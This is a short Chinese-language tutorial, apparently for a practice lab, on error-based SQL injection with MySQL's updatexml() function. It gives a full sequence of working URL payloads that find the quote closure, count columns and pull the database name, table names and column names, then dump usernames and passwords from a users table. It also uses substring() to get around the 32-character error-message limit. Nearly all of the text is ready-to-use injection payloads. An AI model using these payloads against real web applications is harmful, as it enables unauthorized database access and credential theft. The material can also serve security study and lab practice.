sql盲注_updateXml报错注入
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数是string格式，为XML文档对象名称，例如doc
第二个参数是路径
第三个参数是替换查找符合条件的数据
updatexml报错原理
同extractvalue()一样sql盲注_extractvalue报错注入
输入错误第二个参数，即更改路径的符号
正常语句
select updatexml(doc,'/book/auther/surname','1') from xml
错误语句
select updatexml(doc,'~book/auther/surname','1') from xml
利用updatexml()报错注入
判断字符型/数据型
?id=1
判断闭合方式
?id=1'
?id=1"
可以判断为双引号闭合
查看有多少列
?id=1 union select 1,2,3--+
查询数据库
?id=1" and 1=updatexml(1,concat(0x7e,(select database())),3) --+
查询数据库表名
?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database())),3) --+
查看表的列
?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where TABLE_SCHEMA=database() and table_name='users')),3) --+
查看表内容
?id=1" and 1=updatexml(1,concat(0x7e,(select group_concat(username,'~',password) from users)),3) --+
默认只能返回32字符串
使用函数substring()函数解决只能返回32个字符串的问题(功能和substr函数一样)
substring((字符串),从第几个字符开始,一次输出几个)因为有32的局限所以每次开始的字符都要不一样才能拼成完整的答案
?id=1" and 1=updatexml(1,concat(0x7e,(select substring((select group_concat(username,'~',password) from users),25,30))),3)--+
